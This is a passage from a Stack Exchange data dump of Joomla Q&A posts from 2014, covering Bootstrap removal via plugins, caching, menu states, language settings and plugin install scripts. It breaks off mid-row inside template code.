  <row Id="4968" PostTypeId="2" ParentId="4953" CreationDate="2014-10-28T02:20:01.907" Score="20" Body="&lt;p&gt;An alternate hack that I always like to throw out, since it doesn't involve editing core files is to override the css file with a blank css file in your template. This will still lead to a call to your server to load the resource, but you won't have to have any bootstrap styling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just add an empty file here: &lt;code&gt;templates/YOUR_TEMPLATE/css/jui/bootstrap.min.css&lt;/code&gt; and &lt;code&gt;templates/YOUR_TEMPLATE/js/jui/bootstrap.min.js&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Naturally any component setup to use bootstrap will look unstyled, and there will still be a call to load the css and js files by the browser. However, the files will be empty (small download size) and have no impact on the styling.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-10-28T02:20:01.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4969" PostTypeId="2" ParentId="4963" CreationDate="2014-10-28T07:43:24.067" Score="1" Body="&lt;p&gt;mod_security can sometimes cause this type of behaviour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check with your hosting provider explaining the exact steps that cause the error or you may be able to temporarily disable mod_security by adding the following to &lt;code&gt;.htaccess&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_security.c&amp;gt;&#xA;SecFilterEngine Off&#xA;SecFilterScanPOST Off&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-10-28T07:43:24.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4970" PostTypeId="1" CreationDate="2014-10-28T11:55:35.743" Score="3" ViewCount="113" Body="&lt;p&gt;In the backend under module manager - name of module - menu assignment, you can assign a module to specific pages. But when I try to select some pages and save, it saves it as no pages. The only setting that doesn't do this is all pages. Have any of you experienced similar problems? If so, how did you solve it?&lt;/p&gt;&#xA;" OwnerUserId="2104" LastActivityDate="2014-10-28T13:24:17.273" Title="Joomla 3.3 - assign a module to specific pages fails" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4971" PostTypeId="1" CreationDate="2014-10-28T11:57:20.357" Score="2" ViewCount="313" Body="&lt;p&gt;After hours of googling and experimenting, I gave up :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to add form to my articles in Joomla 3, that collects data from article's additional fields and emails them. Articles are managed by Flexicontent. Flexicontent overrides standard content manager so I tried to make a plugin inside 'content' plugins (later I tried 'flexicontent' as well). Basing on articles: &lt;a href=&quot;http://docs.joomla.org/Adding_custom_fields_to_the_article_component&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Adding_custom_fields_to_the_article_component&lt;/a&gt; &lt;a href=&quot;http://betweenbrain.com/notes/72-fun-with-joomla-forms&quot; rel=&quot;nofollow&quot;&gt;http://betweenbrain.com/notes/72-fun-with-joomla-forms&lt;/a&gt; &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/master/plugins/user/profile/profile.php#L168&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/master/plugins/user/profile/profile.php#L168&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which all override some kind of form (user, content or contact).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made my plugin folder, plugin php file, plugin manifest (xml file) and XMLs with form fields. Then in my php file I wrote onContentPrepareForm(), as instructed. However, when I checked &quot;$this&quot; variable in my flexiconent template, there were no signs of any form. How should I place this form in my template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could have used any 3rd party plugin, but then - how can I pass variables from Flexicontent custom fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin is installed and turned on&lt;/p&gt;&#xA;" OwnerUserId="2105" LastEditorUserId="22" LastEditDate="2015-01-09T05:26:29.463" LastActivityDate="2015-01-09T05:26:29.463" Title="Joomla 3 Flexicontent custom form based on jForm" Tags="|joomla-3.x|plugin|jform|flexicontent|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4972" PostTypeId="1" AcceptedAnswerId="4976" CreationDate="2014-10-28T12:53:04.677" Score="2" ViewCount="364" Body="&lt;p&gt;I've ask this question on Joomla Official Forums-&lt;a href=&quot;http://forum.joomla.org/viewtopic.php?t=862922&amp;amp;f=706&quot; rel=&quot;nofollow&quot;&gt;http://forum.joomla.org/viewtopic.php?t=862922&amp;amp;f=706&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;But no one is able to help.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I need some help, I'm new to Joomla, I've created a website for my friend- &lt;a href=&quot;http://www.maverikswarehouse.com&quot; rel=&quot;nofollow&quot;&gt;http://www.maverikswarehouse.com&lt;/a&gt; I'm stuck on the menus active states I'm using FavouriteDark theme&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a Hidden Menu, these have category blogs in them, how do I make the Main Menu items in active state while one of the posts in hidden menu is clicked?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example- I click on Gallery, then i click on one of the items, it will redirect to an article post, but the Gallery Menu is no longer active. How do I make it active?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kenwin&lt;/p&gt;&#xA;" OwnerUserId="2106" LastActivityDate="2014-10-28T20:40:14.290" Title="Hidden Menu activate Main Menu Active States, How?" Tags="|active|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4973" PostTypeId="2" ParentId="4972" CreationDate="2014-10-28T13:10:54.043" Score="0" Body="&lt;p&gt;Joomla cannot infer the relationship between a hidden menu a different menu item in the frontpage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would write a Javascript to define the relationship, for instance if browser has this URL, activate this menu item.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-10-28T13:10:54.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4974" PostTypeId="2" ParentId="4971" CreationDate="2014-10-28T13:22:26.387" Score="4" Body="&lt;p&gt;Both cited articles refer to Joomla content manager. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though Flexicontent extends, onContentPrepareForm is not being called or rendered in your Flexicontent configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest to test the plugin in a plain Joomla with a simple article. Once it works as expected. Try to enable it in Flexicontent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerning to &quot;$this&quot;, it always refers to the current object instance. If you are in the context of the plugin, it is the plugin. If you are in the context of the template, it is the template. Please, note that onContentPrepareForm renders and returns a string, this string is just concatenated in a template. The custom fields are managed only inside the plugin.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-10-28T13:22:26.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4975" PostTypeId="2" ParentId="4970" CreationDate="2014-10-28T13:24:17.273" Score="2" Body="&lt;p&gt;Solved updating to Joomla v3.3.6, answer via @FFrewin&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-10-28T13:24:17.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4976" PostTypeId="2" ParentId="4972" CreationDate="2014-10-28T14:11:01.260" Score="0" Body="&lt;p&gt;Here is a few tricks you can try.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If you don't want to display submenu items (children) in main menu, you could add the menu items of your hidden menu as child menu items of the associated parent item of the main menu. Then go in the menu module for the main menu and set it to not display submenu items, or render only 1st level menu items.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another approach that I have also seen working is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a. Rename the alias of the current menu item for the blog (e.g. from blog to blog-temp).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b. In your hidden menu, create 1 Parent menu item for the blog and give it the name you desired. (e.g. blog).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c. Then put the rest of the menu items for your blog categories as children of the above. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;d. Go back to the initial blog menu item and change its type, to a &lt;strong&gt;System Link Type -&gt; Menu Item Alias&lt;/strong&gt;, set it to be alias of the new Blog Menu Item you created on the hidden menu.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, all the rest menu items for the blog categories should be children of the Parent menu item for the Blog, which usually adds the &quot;active&quot; class to the current menu item and its parent (on the core menu module).&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-10-28T20:40:14.290" LastActivityDate="2014-10-28T20:40:14.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4977" PostTypeId="2" ParentId="3576" CreationDate="2014-10-28T14:51:56.740" Score="1" Body="&lt;p&gt;If it was me, I'd retrieve using whatever method suits you (file_get_contents maybe, I like curl, but whatever) and then use the Parsedown class to turn it into HTML.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://parsedown.org/&quot; rel=&quot;nofollow&quot;&gt;http://parsedown.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla has its own github class, but I haven't looked to see what it actually does.&lt;/p&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2014-10-28T14:51:56.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4978" PostTypeId="2" ParentId="4842" CreationDate="2014-10-28T15:01:19.183" Score="1" Body="&lt;p&gt;Uncategorized is a category item like all other categories. I can remember it since Joomla 1.5 (no sure about Joomla 1), when an there was an uncategorized section / category, and it was the recommended way to create static content pages for Joomla. You had to simply create an article and assign it to the (default at that time) uncategorized section, then link the a menu item with this article and voila your page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Years passed since then and uncategorized category still exists in Joomla. It is a sample category and probably can be used in the same way as in Joomla 1.5. Sometimes it is always helpful to have a general category for any article that can't be fit to any other category, although I usually rename it to something more meaningful or delete it.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-10-28T15:01:19.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4980" PostTypeId="1" AcceptedAnswerId="4981" CreationDate="2014-10-28T15:20:30.137" Score="3" ViewCount="271" Body="&lt;p&gt;I use joomla 3.3, the site has 2 languages, English and French, can i disable language insert during registration? If someone create a new account, then his frontend language don't should be inserted, i want if someone after reg. do a login in other language, then he should stay also in actuall language.&lt;/p&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2014-10-28T21:15:44.187" Title="Disable language saving at registration?" Tags="|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4981" PostTypeId="2" ParentId="4980" CreationDate="2014-10-28T16:54:57.083" Score="2" Body="&lt;p&gt;&lt;strong&gt;How to disable front-end Language option:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the backend, Click to &lt;strong&gt;Users&lt;/strong&gt; menu item (com_users). &#xA;When in Users manager, click the &lt;strong&gt;Options&lt;/strong&gt; button (top right).&#xA;In the Configuration of the users component, around the middle there is the option to &lt;strong&gt;Hide&lt;/strong&gt; the &lt;strong&gt;Front-End Language&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, from your question I understand that while you don't want the user to have to choose his front-end language during registration, you would like the system understands that his language is the same as the one he has chosen during browsing before login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here comes a sort of conflict. That's because when a user have not set a language preference, then he is assigned with the default front-end site language. &#xA;The fact that after login you see the user switching back to another language is because the system reads his account setting of the default site language and it switches him to that language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you try the login from the default front-end language, with the same user, then his language view won't be switched after login. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory, it should be possible to overcome this, with the following way - although I haven't try it at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The theory: &#xA;You could override the template of the registration form or module and have the language preference field enabled but hidden. There you could check for the page language which will set the form's language preference accordingly and pass it to the database in the background during the user's registration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have some time, I may experiment with the above and come back with more details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ah and a question: Why you don't want the Language Setting during registration? Since this is multilingual website, it really makes sense.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-10-28T20:28:32.090" LastActivityDate="2014-10-28T20:28:32.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4982" PostTypeId="2" ParentId="4924" CreationDate="2014-10-28T18:27:13.040" Score="1" Body="&lt;p&gt;This is an example I have used for a hotel booking engine&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;example.com/page.jsp?HotelID={HotelID:value}&amp;amp;rateplanid={rateplan:value}&amp;amp;Rooms=1&amp;amp;DateIn={Check In:value}&amp;amp;Length={Nights:value}&amp;amp;Adults={Adults:value}&amp;amp;Children={Children:value}&amp;amp;submit=Submit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case, we use {} instead of [].  &lt;/p&gt;&#xA;" OwnerUserId="2109" LastActivityDate="2014-10-28T18:27:13.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4983" PostTypeId="2" ParentId="4514" CreationDate="2014-10-28T18:34:51.860" Score="1" Body="&lt;p&gt;Verify you are using the latest version of Joomla 2.5&#xA;Make certain you have the SmartSearch/Finder plugin published.&#xA;Use the SmartSearch/Finder module.  There are 2... search and smartsearch.&#xA;Run the indexer from within Smart Search&#xA;&lt;img src=&quot;https://i.stack.imgur.com/j3eOU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also helpful to have a link to Smart Search/Finder in your menu. It can be in a hidden menu.&lt;/p&gt;&#xA;" OwnerUserId="2109" LastActivityDate="2014-10-28T18:34:51.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4985" PostTypeId="2" ParentId="4155" CreationDate="2014-10-29T03:44:27.657" Score="2" Body="&lt;p&gt;You should probably be doing this in a system plugin using the onBeforeRender event.  At this point in execution, the page is about to be rendered, so the scripts should be in place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onBeforeRender() {&#xA;  $doc = JFactory::getDocument();&#xA;&#xA;  $dontInclude = array(&#xA;    '/media/jui/js/bootstrap.min.js'&#xA;  );&#xA;&#xA;  foreach($doc-&amp;gt;_scripts as $key =&amp;gt; $script){&#xA;    if(in_array($key, $dontInclude)){&#xA;        unset($doc-&amp;gt;_scripts[$key]);&#xA;    }&#xA;  } &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2014-10-29T03:44:27.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4986" PostTypeId="2" ParentId="4953" CreationDate="2014-10-29T04:10:34.837" Score="16" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Does this happen with all Joomla 3.3 installations or is just mine?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In version: 3.2-3.7 (I tested).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a way I can disable bootstrap from loading?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, there is. Just remove it before building the header, using event onBeforeCompileHead (&lt;a href=&quot;http://docs.joomla.org/Plugin/Events/System#onBeforeCompileHead&quot; rel=&quot;nofollow noreferrer&quot;&gt;More info in the docs.&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In view of the possibility of attaching the library at any time by various extensions. It is not enough to remove from template and modules few lines.&#xA;This is not the a perfect solution. But you can be sure that it will not load. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my project I'm using bootstrap 3.2. I spent the whole day to find a way to remove bootstrap 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only solution was to remove script before building the header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution is to crate a plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgSystemYourPlugin extends JPlugin&#xA;{&#xA;    public function onBeforeCompileHead()&#xA;    {&#xA;        // Application Object&#xA;        $app = JFactory::getApplication();&#xA;&#xA;        // Front only&#xA;        if( $app instanceof JApplicationSite )&#xA;        {&#xA;            $doc            = JFactory::getDocument();&#xA;            // Remove default bootstrap&#xA;            unset($doc-&amp;gt;_scripts[JURI::root(true).'/media/jui/js/bootstrap.min.js']);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works in Joomla! 3.2-3.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(For interested)&#xA;I needed to also remove this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    unset($doc-&amp;gt;_scripts[JURI::root(true).'/media/system/js/frontediting.js']);&#xA;    unset($doc-&amp;gt;_scripts[JURI::root(true).'/media/system/js/html5fallback.js']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2110" LastEditorUserId="2110" LastEditDate="2017-05-05T08:33:12.547" LastActivityDate="2017-05-05T08:33:12.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4987" PostTypeId="1" CreationDate="2014-10-29T05:06:13.377" Score="3" ViewCount="8913" Body="&lt;p&gt;I am using joomla to create my website. Everything is working well, except one problem that  occurred recently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am changing/updating content in the joomla backend and saving. But any change I do will not appear in the front-end instantly. It is taking time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the reason? Please help me.&lt;/p&gt;&#xA;" OwnerUserId="2111" LastEditorUserId="126" LastEditDate="2015-08-28T20:27:13.270" LastActivityDate="2015-08-28T20:27:13.270" Title="My content updates won't display instantly in the front-end. What's the reason?" Tags="|joomla-3.x|joomla-2.5|cache|global-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4989" PostTypeId="1" AcceptedAnswerId="4991" CreationDate="2014-10-29T07:04:10.213" Score="5" ViewCount="131" Body="&lt;p&gt;I have to make some &lt;strong&gt;alter&lt;/strong&gt; in &lt;strong&gt;database&lt;/strong&gt; after &lt;strong&gt;plugin&lt;/strong&gt; is &lt;strong&gt;installed&lt;/strong&gt;. Is there any events that is called after plugin is installed?&lt;/p&gt;&#xA;" OwnerUserId="487" LastActivityDate="2014-10-29T08:00:58.143" Title="Is there any event available to call after plugin is installed?" Tags="|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4990" PostTypeId="2" ParentId="4987" CreationDate="2014-10-29T07:04:36.607" Score="3" Body="&lt;p&gt;Usually this due to the &lt;strong&gt;Cache&lt;/strong&gt; Mechanisms.&lt;/p&gt;&#xA;&lt;p&gt;In this wikipedia article you will see that caching is an important computing feature that is used widely. &lt;a href=&quot;http://en.wikipedia.org/wiki/Cache_(computing)&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.wikipedia.org/wiki/Cache_(computing)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When enabled in Joomla, it delivers to the users a stored view of the web page, same as it was previously displayed, so it won't have to ask the database and reload content, thus it can speed up the speed load of a website and save resources on the server.&lt;/p&gt;&#xA;&lt;h2&gt;JOOMLA CACHE&lt;/h2&gt;&#xA;&lt;p&gt;Joomla provides the following caching levels:&lt;/p&gt;&#xA;&lt;h3&gt;a. Page cache&lt;/h3&gt; &#xA;&lt;p&gt;It stores a full copy of the rendered page. It is controlled by a &lt;strong&gt;system plugin&lt;/strong&gt; : &lt;strong&gt;Plugins Manager -&amp;gt; System Cache plugin&lt;/strong&gt;, and it is disabled by default. It applies only to non-logged in users.&#xA;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&lt;h3&gt;b. View cache&lt;/h3&gt; &#xA;&lt;p&gt;It stores part of the page. It is also disabled by default and can be accessed in the &lt;strong&gt;Global configuration&lt;/strong&gt; -&amp;gt; System.&lt;/p&gt;&#xA;&lt;p&gt;It provides 2 caching ways: &lt;strong&gt;Conservative&lt;/strong&gt; and &lt;strong&gt;Progressive&lt;/strong&gt; cache.&#xA;Progressive caching caches the content for each unique visitor, while Conservative caching delivers the same cached content to all visitors.&lt;/p&gt;&#xA;&lt;p&gt;There you can also control the time that a cached content should be remained, before it is considered expired and therefore replaced with a new one. If the content updates are frequent you may want to set this to a low value.&#xA;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&lt;h3&gt;c. Module Caching&lt;/h3&gt;&#xA;&lt;p&gt;It also partially stores content of the page, per module. It is controlled from within each module, usually in the advanced section of module settings. It is recommended to be enabled only for modules that contain static content.&lt;/p&gt;&#xA;&lt;p&gt;When cache is enabled, Joomla stores the cached content inside the Cache folder of its filesystem ( siteroot/cache/ ).&#xA;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&lt;h3&gt;3rd Party Caching Extensions&lt;/h3&gt;&#xA;&lt;p&gt;Apart of the core cache functionality, there are 3rd party extensions that allows more control over how the cache should work on a Joomla site.&#xA;&lt;strong&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/performance/cache&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Cache Extensions in JED&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;br /&gt;&#xA;&lt;h3&gt;Clearing Caches&lt;/h3&gt;&#xA;&lt;p&gt;The cached content can be deleted/emptied, if you want to remove all cached content and force joomla to reload all content fresh from the database. Sometimes &lt;strong&gt;clearing caches&lt;/strong&gt;, it helps resolving display or other issues, so it's common practice to &lt;strong&gt;clear or disable the cache&lt;/strong&gt; when something doesn't look or work as expected, to ensure that is not a caching issue.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;To clear Joomla Cache go at:&lt;/strong&gt;&lt;br /&gt;&#xA;&lt;strong&gt;System&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Maintenance&lt;/strong&gt; -&amp;gt;  &lt;strong&gt;Clear Cache&lt;/strong&gt; / &lt;strong&gt;Purge Expired Caches&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Clear Cache&lt;/strong&gt; will remove all cached content and the system will have to regenerate/reload it at the next page load. This might make the next load of a page to take a bit more time, since it will also have to create the new cached files, but after the next load the pages will load faster again.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Purge Expired Caches&lt;/strong&gt; will only remove items that have expired. This will check each cached file by file if it has expired and will delete only these files, therefore if the website is big, it can be resource intensive during the purging process.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/performance/cache/9495&quot; rel=&quot;nofollow noreferrer&quot;&gt;Nonumbers Cache Cleaner&lt;/a&gt;&lt;/strong&gt; extension is a system plugin that can be set to clean up caches within specified timeframes, or after &amp;quot;&lt;strong&gt;Saving&lt;/strong&gt;&amp;quot; anything in the backend.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-05-12T11:03:49.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4991" PostTypeId="2" ParentId="4989" CreationDate="2014-10-29T08:00:58.143" Score="5" Body="&lt;p&gt;You should make an install script for your plugin. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An optional script file (PHP code that is run before, during and/or&#xA;  after installation, uninstallation and upgrading) can be defined using&#xA;  a  element. This file should contain a class named&#xA;  &quot;IntallerScript&quot; where  is the name of&#xA;  your extension (e.g. com_componentname, mod_modulename, etc.). Plugins&#xA;  requires to state the group (e.g. plgsystempluginname).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See more info about it in the Script file section of &lt;a href=&quot;http://docs.joomla.org/Manifest_files&quot;&gt;Manifest files&lt;/a&gt; doc.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-10-29T08:00:58.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4992" PostTypeId="2" ParentId="4987" CreationDate="2014-10-29T08:57:27.613" Score="4" Body="&lt;p&gt;In addition to my other answer, there can be a few other reasons that can cause a delay to what you see on the front-end of a website against your changes in the backend.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Your computer&lt;/strong&gt;. Starting from your computer, it's possible that your browser has also cached a page and may show you the cached content. So, usually in such cases keep in mind to also clear your browser's cache.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Hosting Providers Servers&lt;/strong&gt;. Some hosting providers have also implemented caching mechanisms into their server, which will also causes a delay to update the front-end content of webpage. I can recall from GoDaddy's hosting, a feature called &quot;Website Speed-up&quot; or something like that, that is serving cached content.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Server configuration and expire headers.&lt;/strong&gt; It's possible that there is set an extended expire headers value for html content on the server configuration or the .htaccess. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Content delivered through CDN&lt;/strong&gt;. It's also possible and depending on the configuration settings between your website and the CDN, that the CDN platform still delivers previous cached content and has not been updated accordingly to the current content of a webpage.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Other network or proxy caching mechanisms&lt;/strong&gt;. In some caches it's also possible that the content of a webpage is cached in the network between a browser and the server of the website. Especially if other previous settings as described previously are involved, that has instructed any intermediate servers to cache a page.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-28T20:26:52.690" LastActivityDate="2015-08-28T20:26:52.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4993" PostTypeId="2" ParentId="4289" CreationDate="2014-10-29T10:29:52.503" Score="4" Body="&lt;p&gt;I struggled with this longer than I care to admit.&#xA;My answer is based on Bootstrap 3.2.0 and it creates a collapsible dropdown menu for Joomla 3.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my template I included bootstrap.css and a modified version of bootstrap.js&#xA;More info about the modification at the bottom of this answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put the following code in my index.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--Navigation--&amp;gt;&#xA;&amp;lt;div id=&quot;navigation&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;navbar navbar-default&quot; role=&quot;navigation&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;navbar-header&quot;&amp;gt;&#xA;                &amp;lt;button type=&quot;button&quot; class=&quot;navbar-toggle collapsed&quot; data-toggle=&quot;collapse&quot; data-target=&quot;#targetedestination&quot;&amp;gt;&#xA;                    &amp;lt;span class=&quot;sr-only&quot;&amp;gt;Toggle navigation&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;icon-bar&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;icon-bar&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;icon-bar&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/button&amp;gt;&#xA;&#xA;                &amp;lt;div id=&quot;brand&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php echo $this-&amp;gt;params-&amp;gt;get('logo_link') ?&amp;gt;&quot;&#xA;                        &amp;lt;img style=&quot;width:&amp;lt;?php echo $this-&amp;gt;params-&amp;gt;get('logo_width') ?&amp;gt;px; height:&amp;lt;?php echo $this-&amp;gt;params-&amp;gt;get('logo_height') ?&amp;gt;px; &quot; src=&quot;&amp;lt;?php echo $this-&amp;gt;params-&amp;gt;get('logo_file') ?&amp;gt;&quot; alt=&quot;Logo&quot; /&amp;gt;&#xA;                    &amp;lt;/a&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;navbar-collapse collapse&quot; id=&quot;targetedestination&quot;&amp;gt;&#xA;            &amp;lt;?php if ($this-&amp;gt;countModules('navigation')) : ?&amp;gt;&#xA;                &amp;lt;nav class=&quot;navigation&quot; role=&quot;navigation&quot;&amp;gt;&#xA;                    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;navigation&quot; style=&quot;none&quot; /&amp;gt;&#xA;                &amp;lt;/nav&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;    